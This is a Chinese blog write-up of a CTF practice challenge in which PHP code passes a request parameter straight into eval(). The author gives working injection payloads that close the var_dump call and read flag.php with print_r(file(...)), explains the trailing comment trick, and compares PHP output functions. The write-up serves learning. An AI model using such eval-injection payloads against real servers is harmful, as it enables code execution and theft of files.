CTF/CTF练习平台-本地包含【eval函数闭合及代码段的理解】

本文通过一个具体的PHP代码示例详细解析了如何利用eval函数进行参数注入,并成功读取指定文件的过程。文章首先介绍了eval函数的基本用法,随后通过逐步实验展示了如何利用特殊的输入绕过安全限制,最终获取目标文件的内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原题内容:

地址:http://120.24.86.145:8003/

 

怎么说呢,难其实也不难,还是基本知识点掌握不足吧,写个wp记录下自己学习到的知识点

 

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>



拿到代码,还是很简单就分析出hello这个post/get获取的参数值很重要($_REQUEST对get,post都能接受)

 

简单起见,当然选择get传值

其实根据最基本注入''引号闭合的思路,很容易就想到了利用括号,毕竟,eval中是执行的代码段

最基本的:

 

http://120.24.86.145:8003/index.php?hello= 1);print_r(2


上面的代码结合起来就是:

 

 

eval( "var_dump(1);print_r(2);"); 


结果也是很明显:

 

说明执行没问题,其实后面就简单了,打开文件就好

下面理一理两个失误点,

 

 

第一点,看了大佬们wp,对大佬们的答案,非常不理解:

 

hello=);print_r(file("./flag.php"));//

 

问了一个大佬才知道这里的诀窍

划重点,这里很关键,

eval函数中,“”内部为代码,//只在代码中起作用,相当于只注释了);

 

第二点,file_get_contents与file及var_dump,print_r和echo(划重点,后面三个的区别有待解决

 

这个的区别我在网上没有找到详细的解释,不过,我本地做了个测试,简单说明下问题吧,求大佬解答

 

 

file测试没问题,接下来看file_get_contents,先不说明,看几张图

这个图的测试结果,显示空白,于是我进行了接下来的测试

 

 

 

这我就很好奇了,接下来我删除该字符串又测试了echo,依旧是空白

紧接着我测试了var_dump()

没错,可以显示

 

按照php手册的解释,file_get_contents读取文件为字符串,var_dump证明了这一点,可是print_r和echo为啥不能输出?

待解决,以后补上

 

 

评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值